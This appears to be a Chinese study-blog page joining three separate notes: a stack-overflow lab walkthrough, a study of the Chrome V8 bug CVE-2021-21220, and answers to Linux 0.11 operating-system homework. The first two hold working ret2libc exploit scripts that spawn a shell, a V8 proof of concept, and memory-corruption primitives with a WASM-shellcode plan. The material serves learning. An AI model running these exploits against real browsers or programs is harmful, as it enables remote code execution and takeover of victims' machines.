patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./a.outpatchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./a.out
确定缓冲区大小输入一点字符
12345678910111213141516171819202122232425262728293031323334353637383940414243gef➤ telescope0xffffd520│+0x0000: 0x00000000 ← $esp0xffffd524│+0x0004: 0xffffd530 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd528│+0x0008: 0x000001000xffffd52c│+0x000c: 0x5655555c → <vuln_func+15> add eax, 0x1a780xffffd530│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd534│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd538│+0x0018: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd53c│+0x001c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd540│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaabbbb\n"0xffffd544│+0x0024: "aaaaaaaaaaaaaaaaaaaabbbb\n"gef➤0xffffd548│+0x0028: "aaaaaaaaaaaaaaaabbbb\n"0xffffd54c│+0x002c: "aaaaaaaaaaaabbbb\n"0xffffd550│+0x0030: "aaaaaaaabbbb\n"0xffffd554│+0x0034: "aaaabbbb\n"0xffffd558│+0x0038: "bbbb\n"0xffffd55c│+0x003c: 0x00000a ("\n"?)0xffffd560│+0x0040: 0x000000000xffffd564│+0x0044: 0x2c307d ("}0,"?)0xffffd568│+0x0048: 0x000000010xffffd56c│+0x004c: 0xf7ffc900 → 0x00000000gef➤0xffffd570│+0x0050: 0xffffd5c0 → 0xffffd5e0 → 0x000000010xffffd574│+0x0054: 0x000000000xffffd578│+0x0058: 0x010000000xffffd57c│+0x005c: 0xc34426000xffffd580│+0x0060: 0x000009 ("\t"?)0xffffd584│+0x0064: 0xffffd7ba → "/home/ubuntu/pwn/a.out"0xffffd588│+0x0068: 0xf7e15679 → <__new_exitfn+9> add ebx, 0x1a79870xffffd58c│+0x006c: 0xf7fc0808 → 0x000000000xffffd590│+0x0070: 0xf7fbd000 → 0x001d7d8c0xffffd594│+0x0074: 0xf7fbd000 → 0x001d7d8cgef➤0xffffd598│+0x0078: 0x000000000xffffd59c│+0x007c: 0xf7e157db → <__internal_atexit+59> add esp, 0x100xffffd5a0│+0x0080: 0xf7fbd3fc → 0xf7fbe200 → 0x000000000xffffd5a4│+0x0084: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]0xffffd5a8│+0x0088: 0xffffd67c → 0xffffd7d1 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"0xffffd5ac│+0x008c: 0x5655561b → <__libc_csu_init+75> add edi, 0x10xffffd5b0│+0x0090: 0x000000010xffffd5b4│+0x0094: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]0xffffd5b8│+0x0098: 0xffffd5c8 → 0x00000000 ← $ebp
0xffffd5b8 - 0xffffd520 = 152
为什么出不来书上的效果…pattern create 150那个
为什么书上的和自己运行的不一样? 哪里有区别?
因为减错了,应该0xffffd5b8 - 0xffffd530 = 136才对,再+4, 140覆盖掉ebp,然后下面的就是eip了
通过gef自带的命令123456789101112131415gef➤ pattern create 150[+] Generating a pattern of 150 bytes (n=4)aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma[+] Saved as '$_gef0'gef➤ rStarting program: /home/ubuntu/pwn/a.out[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fd8000'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaProgram received signal SIGSEGV, Segmentation fault.0x6261616b in ?? ()gef➤ pattern offset 0x6261616b[+] Searching for '0x6261616b'[+] Found at offset 140 (little-endian search) likely[+] Found at offset 1004 (big-endian search)
构造exp整理思路就是返回地址设置为 system,然后给一个参数/bin/sh就好了
问题就是寻找它俩的地址,关闭ALSR的情况下,libc的地址是固定的,可以在调试中确认system和/bin/sh的地址
123456gef➤ p system$1 = {int (const char *)} 0xf7e57db0 <__libc_system>gef➤ search-pattern "/bin/sh"[+] Searching '/bin/sh' in memory[+] In '/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'(0xf7e1d000-0xf7fcd000), permission=r-x 0xf7f78b2b - 0xf7f78b32 → "/bin/sh"
给的exp同样会有问题(注意 system和/bin/sh地址要根据实际情况修改,修改了也不行
[*] Got EOF while sending in interactive
默认开启了其他保护?????? gcc的问题???
12345678root@VM-24-10-ubuntu:/home/ubuntu/pwn# python3 exp1.py[+] Starting local process './a.out': pid 5096[*] '/home/ubuntu/pwn/a.out' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
gcc -m32 -fno-stack-protector -z noexecstack -z norelro dep.c -fno-pie -no-pie -o a.out
全关了也不行啊
libc的保护为什么不影响呢??
123456gef➤ p system$2 = {int (const char *)} 0xf7e223d0 <__libc_system>gef➤ search-pattern "/bin/sh"[+] Searching '/bin/sh' in memory[+] In '/lib/i386-linux-gnu/libc-2.27.so'(0xf7de5000-0xf7fba000), permission=r-x 0xf7f631db - 0xf7f631e2 → "/bin/sh"
调试一下,这种如何调试呢??????
0xf7e57db0
0xf7f78b2b
不知道为什么,重新编译了一遍就好了….太奇怪了
如何动态获取这俩地址呢?system_addr = libc.sym[‘system’] 这样是不行的,这个获取的是在libc里面的偏移,需要获取libc的加载地址
需要基地址,基地址怎么获取呢? 如果没开启ALSR和PIE的话,可以通过调试获取,pwntools里不能直接获取吗?
12345678gef➤ vmmap[ Legend: Code | Heap | Stack ]Start End Offset Perm Path0x8047000 0x8048000 0x000000 rw- /home/ubuntu/pwn/a.out0x8048000 0x8049000 0x001000 r-x /home/ubuntu/pwn/a.out0x8049000 0x804a000 0x001000 rw- /home/ubuntu/pwn/a.out0xf7e1c000 0xf7e1d000 0x000000 rw-0xf7e1d000 0xf7fcd000 0x000000 r-x /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so
0xf7e1d000 + 0x3adb0 = 0xf7e57db0 这样就对上了
system_addr = 0xf7e1d000 + libc.sym[‘system’] 就可以得到system的地址了
但是 binsh_addr = 0xf7e1d000 + libc.search(b’/bin/sh’) 这个不会,会报错
oooooo需要加一个next
binsh_addr = 0xf7e1d000 + next(libc.search(b’/bin/sh’))
最后exp123456789101112131415from pwn import *log_level = "debug"io = process('./a.out')libc = ELF("/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")ret = 0xdeadbeefsystem_addr = 0xf7e1d000 + libc.sym['system']binsh_addr = 0xf7e1d000 + next(libc.search(b'/bin/sh'))#system_addr = 0xf7e57db0#binsh_addr = 0xf7f78b2bpayload = b"A" * 140 + p32(system_addr) + p32(ret) + p32(binsh_addr)io.send(payload)io.interactive()
在此基础之上,开启ALSRecho 2 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -z noexecstack -no-pie dep.c -o nopie.out
echo 2 > /proc/sys/kernel/randomize_va_space
cp ../glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6 ./
ASLR改变的是堆、栈、共享库(libc等)的位置,程序本身的地址是不变的,也就是vuln_func,main等这些地址.
构造exp那为啥exp中的write也是不变的呢??????因为这个write是plt中的write,不是libc中的,所以和延迟绑定有关?
0x8048320是write的地址,它是plt表的地址,所以,什么是plt表呢?
123.plt:08048320 _write proc near ; CODE XREF: main+2D↓p.plt:08048320 jmp ds:off_804A014.plt:08048320 _write endp
关于plt表https://blog.csdn.net/qq_38350702/article/details/123387642
所以说应该是plt表地址我们是知道的,但是got不知道,通过plt泄露got,进而得到system的got
因为system不在plt里,无法直接用system的plt
思路就是先用write泄露write在内存中的位置,然后利用write在libc中和system的偏移,进行计算system和/bin/sh
1234567891011121314151617181920from pwn import *io = process('./nopie.out')elf = ELF('./nopie.out')libc = ELF('./libc.so.6')vuln_func = 0x0804843b //vuln_funcpayload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)io.send(payload1)write_addr = u32(io.recv(4))system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
书里给的有问题,总感觉少了什么条件,exp跑不通
[] Switching to int eractive mode[] Got EOF while reading in interactive
为什么第一个exp不行,这个链接里的就可以??,进行分析
https://blog.csdn.net/weixin_44644249/article/details/113620457
首先先把payload进行输出
payload1和2
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x83\x04\x08;\x84\x04\x08\x01\x00\x00\x00\x14\xa0\x04\x08\x04\x00\x00\x00’b’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\xb0\xdd\xd8\xf7;\x84\x04\x08+\xeb\xea\xf7’
然后再看成功的
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk \x04V\x04\x00\x00 \x04\x04\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk°à÷junk+»ò÷
所以应该是编码问题?? 或者是作者用的python2?? 是python2和3的问题??
只能说自己太蠢了,(也想吐槽作者写的不好,不该写死的东西干嘛要写死,自己又没给二进制文件)
当然更重要的是,不能照抄别人的,要对exp的每一行的含义都了如指掌才可以!!!
作者在exp中给的 vuln_func的地址是写死的,但事实上自己编译的话肯定会有不同,所以需要根据实际情况修改, 或者直接动态获取,不要写死!!!
0x080484a5 <+26>: e8 ac ff ff ff call 0x8048456
exp修改的部分为vuln_func = elf.sym[“vuln_func”]
1234567891011121314151617181920from pwn import *io = process('./nopie.out')elf = ELF('./nopie.out')libc = ELF('./libc.so.6')vuln_func = elf.sym["vuln_func"] payload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)io.send(payload1)write_addr = u32(io.recv(4))system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
在此基础之上,开启PIE开启了pie后,程序的加载地址就不是固定的0x8048000了,所以直接用elf.sym[“vuln_func”] 是不行的,需要知道是从哪里开始加载的了
gcc -m32 -fno-stack-protector -z noexecstack -pie -fno-pie dep.c -o pie.out
patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./pie.outpatchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./pie.out
1234加载的时候,每次地址就不一样了0x565555a3 <main+17> call 0x5655556d <vuln_func>0x5655556d <vuln_func>: 0x81e58955
结果..加载的地址每次还是一样的,经过排查是gdb的问题
为什么gdb调试的时候,它的main的地址是不变的??? 运行的时候就是变的了????https://blog.csdn.net/weixin_43350880/article/details/98869099
因为gdb是默认关闭aslr的,通过在gdb中输入命令aslr on开启,然后每次加载的地址就不一样了
12345678910110x56630000 0x56631000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56631000 0x56632000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56632000 0x56633000 0x001000 rw- /home/ubuntu/pwn/pie.out0x56613000 0x56614000 0x000000 r-x /home/ubuntu/pwn/pie.out0x56614000 0x56615000 0x000000 r-- /home/ubuntu/pwn/pie.out0x56615000 0x56616000 0x001000 rw- /home/ubuntu/pwn/pie.out0x565f3000 0x565f4000 0x000000 r-x /home/ubuntu/pwn/pie.out0x565f4000 0x565f5000 0x000000 r-- /home/ubuntu/pwn/pie.out0x565f5000 0x565f6000 0x001000 rw- /home/ubuntu/pwn/pie.out
这样的话,elf.sym[“vuln_func”] 就不能用了,因为有一块随机加载的偏移,需要想办法泄露
假设我们已经泄露了
(在dep.c中加入 printf(“main addr: %p”,&main); 但是捏,这个有问题,问题就是哪怕你把它加在了前面,它也是后输出的,这是为什么呢,我们假设的应该是先得到这个地址,然后给vuln_func发送payload
12345678int main(int argc, char *argv[]) { printf("main addr: %p",&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n", 13);}Hello world!main addr: 0x5658c5d2
write这个应该是和缓冲区什么的有关
https://oomake.com/question/2542933
printf带缓冲区,所以要等缓冲区满或者遇到换行符才会输出,write不带缓冲区,直接就输出了
加一个换行符就可以了
printf(“main addr: %p\n”,&main);
exp这里假设了会泄漏main的地址,我们加一行代码就直接打印出来了,
printf(“%p\n”,&main);
然后接收main的地址,其他的思路就差不多了
1234567891011121314151617181920212223242526from pwn import *io = process('./pie.out')elf = ELF('./pie.out')libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')main_addr = int(io.recvline(), 16)base_addr = main_addr - elf.sym['main']vuln_func = base_addr + elf.sym['vuln_func']plt_write = base_addr + elf.sym['write']got_write = base_addr + elf.got['write']ebx = base_addr + 0x2000 # GOT addresspayload1 = "A"*132 + p32(ebx) + "AAAA" + p32(plt_write) + p32(vuln_func) + p32(1) + p32(got_write) + p32(4)io.send(payload1)write_addr = u32(io.recv())system_addr = write_addr - libc.sym['write'] + libc.sym['system']binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))payload2 = "B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)io.send(payload2)io.interactive()
如果printf有其他字母呢,怎么接收?
CVE-2021-21220 Chrome v8远程代码执行漏洞复现与分析
tips:标记为橙色的为不严谨,有待研究
V8 漏洞利用之环境搭建一、编译环境搭建以下都出自这篇文章:https://zhuanlan.zhihu.com/p/493674086
更新软件列表、更新软件、安装依赖
12345sudo apt-get updatesudo apt-get upgradesudo apt install bison cdbs curl flex g++ git python vim pkg-config
安装depot_tools
123456mkdir /root/tools && cd /root/toolsgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git /root/tools/depot_toolsecho 'export PATH=$PATH:"/root/tools/depot_tools"' >> /etc/profileecho 'export PATH=$PATH:"/root/tools/depot_tools"' >> ~/.bashrcsource /etc/profilesource ~/.bashrc
安装ninja:
123git clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"$(pwd)/ninja"' >> ~/.bashrc
下载v8
1234mkdir /root/v8 && cd /root/v8fetch v8 #这个可能会花很长时间,取决于个人的网络环境,如果中断了则 gclient sync同步cd v8sudo ./build/install-build-deps.sh --no-chromeos-fonts # 在linux系统中这个命令是需要的
二、找漏洞版本commit编译的话,需要找到漏洞版本的github的commit
受影响的Chrome最高版本为:89.0.4389.114受影响的V8最高版本为:8.9.255.24
方法一https://omahaproxy.appspot.com
通过这个网站可以找漏洞版本的commit
方法二从漏洞的issue链接https://bugs.chromium.org/p/chromium/issues/detail?id=821137找到修复的commit链接https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d ,可以看到漏洞信息、存在漏洞的上一个版本(parent)、diff修复信息和漏洞poc
方法三直接从github找commit
https://github.com/v8/v8/tags?after=8.9.255
三、编译分了两个版本,一个是release,一个是debug
123456789进入到v8目录,选择好要编译的commit(不然默认编译最新的)git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599gclient sync # 同步更新# 编译可执行文件 (二选一)tools/dev/v8gen.py x64.debugninja -C out.gn/x64.debug d8上面和下面是二选一tools/dev/v8gen.py x64.relaseninja -C out.gn/x64.relase d8
这里有个坑,就是,debug版本会有很多调试信息,release没有,并且,release不能使用v8的gdb脚本(如job命令),如果想要release能使用gdb脚本的话,需要执行完tools/dev/v8gen.py x64.release后在生成的 out.gn/x64.release/args.gn中追加
1234v8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = true
参考:https://www.cjovi.icu/CVE/1586.html
四、配置v8自带的gdb脚本,方便调试v8自带了gdb调试脚本
1.把v8/tools/gdbinit内容加到~/.gdbint里面
2.将v8/tools/gdb-v8-support.py放到一个目录(当前也行)
在~/.gdbint开头加入 source /自定义目录/gdb-v8-support.py
参考:https://paper.seebug.org/1821/
RCE的完整步骤incorrect numeric (理解漏洞本身)POC
12345678910111213141516171819const _arr = new Uint32Array([2**31]);function foo(a) { var x = 1; x = (_arr[0] ^ 0) + 1; x = Math.abs(x); x -= 2147483647; x = Math.max(x, 0); x -= 1; if(x==-1) x = 0; var arr = new Array(x); arr.shift(); var cor = [1.1, 1.2, 1.3]; return [arr, cor];}
https://paper.seebug.org/1850/
https://paper.seebug.org/1556/
那么 这个长度-1的数组有什么用呢??????,见下面 Array.shift
OOB (out-of-bounds memory access) 越界访问abusing array bounds check elimination.
有历史沿革,之前是bounds-check elimination的问题,后来去掉了,但又有新的利用方式
利用Array.shift实现oobhttps://bugs.chromium.org/p/chromium/issues/detail?id=1198696
而负长度被视为一个正的大长度,因此该数组允许访问任意 OOB 数据。
1234567891011121314151617181920function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组 arr.shift(); let local_arr = Array(2); console.log("现在长度"+arr.length) local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; // return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr;
通过上述漏洞,我们实现了一个长度为-1的数组arr(corrput_arr),-1扩展为无符号,就是0xffffffff,是一个很大的正数,从而可以实现越界读写,在此基础之上,进行后面的利用
1.获得了一个0xfffffff(-1长度)数组 arr(corrput_arr)
2.声明一个local_arr(rwarr),长度为2, 接着利用arr的oob,溢出修改它的长度为0x22444,也就是corrput_arr[12] = 0x22444; (或者说 arr[12] = 0x22444;) 这一位对应的是数组的长度
3.声明长度为0x1000的ArrayBuffer(corrupt_buff)
在2、3两步,我们能够得到一个数组和一个ArrayBuffer,但是我们还不能任意读写这个ArrayBuffer,一种实现方法是,通过corrput_arr的溢出,将rwarr的长度变长,覆盖到ArrayBuffer,于是我们就能够对他进行任意读写,从而实现对内存任意地址读写(其实是受限的,rwx)
为什么要强调ArrayBuffer呢?且看下面
疑问:从而实现对rwarr(local_arr)的跨界访问,为啥要这样呢?? 为啥不直接用arr
越界访问rwarr数组(实现可控的JSArrayBuffer) 这张图比较形象,我们现在可以越界访问的是corrupt_arr,然后新建了一个rwarr数组,那么可以越界访问,把rwarr的长度修改的大一点,对应代码 corrput_arr[12] = 0x22444;
那么为什么数组的第13位是代表着它的长度呢?这个具体原理方法在参考博客里,和它的数据结构有关.
越界访问corrupt_buff(实现任意地址读写)http://www.hackdig.com/03/hack-70813.htm
背景知识:什么是backing_store? 对漏洞利用有什么用?
backing_store指向初始化JSArrayBuffer时用户申请大小的堆,如果我们控制了一个JSArrayBuffer相当于一个指针和指针的内容可以同时改写。这样我们改写backing_store读取控制的JSArrayBuffer的内容就是任意地址读;我们改写backing_store修改控制的JSArrayBuffer的内容就是任意地址写。
如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。
任意地址写(通过伪造backing_store)1234function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); }
从corrupt_buff中声明一个Dataview,而backing_store记录的就是实际DataView的内存地址。如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。
那么我们已经可以利用rwarr实现对corrupt_buff的任意读写,即可以任意修改backing_store.
任意地址读(类型混淆)1234function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); }
leakObjLow函数使用corrupt_buff的slot属性,修改该属性为某一对象o,那么o的地址就会被写入到corrupt_buff所在的内存区间中,然后利用rwarr的溢出访问该值,实现泄露。
这里是不是用了类型混淆??
利用oob造成类型混淆,那怎么利用呢?那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
https://www.freebuf.com/vuls/203721.html
addressOf 泄露某个对象的内存地址
123456789// 泄露某个object的地址function addressOf(obj_to_leak){ obj_array[0] = obj_to_leak; obj_array.oob(float_array_map); let obj_addr = f2i(obj_array[0]) - 1n; obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用 return obj_addr;}
fakeObject 将指定内存强制转换为一个js对象(有什么用呢?)
123456789// 将某个addr强制转换为object对象function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake + 1n); float_array.oob(obj_array_map); let faked_obj = float_array[0]; float_array.oob(float_array_map); // 还原array类型以便后续继续使用 return faked_obj;}
如何实现任意地址读写:构造AAR/AAW原语https://paper.seebug.org/1821/#wasm
fakeObject强制将一块内存伪造成一个数组对象??? 它的elements 指针是可控的,而这个指针指向了存储数组元素内容的内存地址。如果我们将这个指针修改为我们想要访问的内存地址,那后续我们访问这个数组对象的内容,实际上访问的就是我们修改后的内存地址指向的内容,这样也就实现了对任意指定地址的内存访问读写效果了。
哦哦哦因为可以任意访问,把这个当成一个数组对象了,那么对这个数组,我们是可以任意读取和修改的????
wasm(webassembly) 实现执行shellcodehttps://paper.seebug.org/1821/#wasm
https://www.freebuf.com/vuls/203721.html
简单来说,wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。
https://sensepost.com/blog/2018/introduction-to-webassembly/
利用思路首先加载一段wasm代码到内存中然后通过addresssOf原语找到存放wasm的内存地址接着通过任意地址写原语用shellcode替换原本wasm的代码内容最后调用wasm的函数接口即可触发调用shellcode
参考资料漏洞复现参考https://blog.csdn.net/m0_56642842/article/details/118358830 这个就是教你怎么复现,不涉及原理
https://www.cnblogs.com/7omss/p/15661338.html + 1
exploit:https://share.weiyun.com/EXlNm02A
浏览器:https://share.weiyun.com/fZLcxFe9
漏洞分析、调试及RCE步骤参考https://zhuanlan.zhihu.com/p/365297858
https://blog.csdn.net/smellycat000/article/details/116078164
https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js
https://buaq.net/go-97833.html
https://ruan777.github.io/2022/01/18/chrome-cve-2021-21220分析/
https://github.com/Bounty-Team/Bounty-Team.github.io/blob/e0f717119de0c8a46aef0bde3e2bf2a4a9fe71bc/_posts/2021-04-16-CVE-2021-21220.md
https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce
https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf
https://www.sohu.com/a/383228797_354899
https://bounty-team.github.io/vulnerability analysis/2021/04/16/CVE-2021-21220/
https://www.freebuf.com/vuls/269629.html
https://www.cjovi.icu/CVE/1586.html
https://xz.aliyun.com/t/5190。v8 exploit入门[PlaidCTF roll a d8]
https://gtoad.github.io/2019/07/25/V8-Debug/ V8引擎漏洞分析环境与调试方法基础
https://paper.seebug.org/1850/ 从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)
https://www.freebuf.com/vuls/230182.html。v8利用入门:从越界访问到RCE
https://www.freebuf.com/vuls/203721.html
https://www.cjovi.icu/CVE/1586.html
https://tiszka.com/blog/CVE_2021_21225.html
https://kiprey.github.io/2021/01/v8-turboFan/
ucas-操作系统-思考题下
21.进程0创建进程1时,为进程1建立了task_struct及内核栈,第一个页表,分别位于物理内存16MB顶端倒数第一页、第二页。请问,这两个页究竟占用的是谁的线性地址空间,内核、进程0、进程1、还是没有占用任何线性地址空间?说明理由(可以图示)并给出代码证据。p92
第一页task_struct 就是进程1的
第二页是和进程0一样的线性地址空间?
22.假设:经过一段时间的运行,操作系统中已经有5个进程在运行,且内核分别为进程4、进程5分别创建了第一个页表,这两个页表在谁的线性地址空间?用图表示这两个页表在线性地址空间和物理地址空间的映射关系。23.代码中的”ljmp %0\n\t” 很奇怪,按理说jmp指令跳转到得位置应该是一条指令的地址,可是这行代码却跳到了”m” (*&__tmp.a),这明明是一个数据的地址,更奇怪的,这行代码竟然能正确执行。请论述其中的道理。p106\127
include/linux/sched.h
1234567891011121314151617181920/* * switch_to(n) should switch tasks to task nr n, first * checking that n isn't the current task, in which case it does nothing. * This also clears the TS-flag if the task we switched to has used * tha math co-processor latest. */#define switch_to(n) {\struct {long a,b;} __tmp; \__asm__("cmpl %%ecx,_current\n\t" \ "je 1f\n\t" \ "movw %%dx,%1\n\t" \ "xchgl %%ecx,_current\n\t" \ //强行切到进程0 "ljmp %0\n\t" \ //第一次执行完 for pause 这一行执行完了执行 _syscall0的 if(__res >=0) || 看这里 copy_process: p->tss.eip = eip; "cmpl %%ecx,_last_task_used_math\n\t" \ //进程0回到for pause "jne 1f\n\t" \ "clts\n" \ "1:" \ ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ //IA32 任务切换 "d" (_TSS(n)),"c" ((long) task[n])); \}
ljmp通过CPU的任务门机制并为实际使用任务门,它把CPU的各个寄存器值保存在当前进程的TSS中,将要转换的进程的TSS数据以及LDT的代码段、数据段描述符数据恢复给CPU的各个寄存器,从而实现进程的切换
a代表EIP、b对应cs
24.进程0开始创建进程1,调用fork(),跟踪代码时我们发现,fork代码执行了两次,第一次,执行fork代码后,跳过init()直接执行了for(;;) pause(),第二次执行fork代码后,执行了init()。奇怪的是,我们在代码中并没有看到向转向fork的goto语句,也没有看到循环语句,是什么原因导致fork反复执行?请说明理由(可以图示),并给出代码证据。p2 p107
这个题的话,需要追踪一下fork的流程
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103init/main.c if (!fork()) { /* we count on this going ok */ init(); //进程1 }static inline _syscall0(int,fork)进入到include/unistd.h#define _syscall0(type,name) \\type name(void) \\{ \\long __res; \\__asm__ volatile ("int $0x80" \\ //int 0x80到哪呀, syscall 在sched_init那里,执行完,特权变0 : "=a" (__res) \\ : "0" (__NR_##name)); \\ //把name 贴过来if (__res >= 0) \\ return (type) __res; \\errno = -__res; \\return -1; \\}然后通过int $0x80int $0x80 p71 系统调用总入口int $0x80kernel/system_call.s.align 2_system_call: cmpl $nr_system_calls-1,%eax ;核实独立访问? ja bad_sys_call push %ds ;对齐?? push %es push %fs pushl %edx pushl %ecx # push %ebx,%ecx,%edx as parameters pushl %ebx # to the system call movl $0x10,%edx # set up ds,es to kernel space mov %dx,%ds mov %dx,%es movl $0x17,%edx # fs points to local data space mov %dx,%fs call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax movl _current,%eax cmpl $0,state(%eax) # state jne reschedule cmpl $0,counter(%eax) # counter je rescheduleret_from_sys_call: movl _current,%eax # task[0] cannot have signals cmpl _task,%eax je 3f cmpw $0x0f,CS(%esp) # was old code segment supervisor ? jne 3f cmpw $0x17,OLDSS(%esp) # was stack segment = 0x17 ? jne 3f movl signal(%eax),%ebx movl blocked(%eax),%ecx notl %ecx andl %ebx,%ecx bsfl %ecx,%ecx je 3f btrl %ecx,%ebx movl %ebx,signal(%eax) incl %ecx pushl %ecx call _do_signal popl %eax3: popl %eax popl %ebx popl %ecx popl %edx pop %fs pop %es pop %ds iret _sys_call_table是在这里:include/linux/sys.hextern int sys_fork(); //对应 kernel/system_call.s中的_sys_forkfn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,....}call的函数对应着这个:kernel/system_call.s.align 2 ;对齐的意思 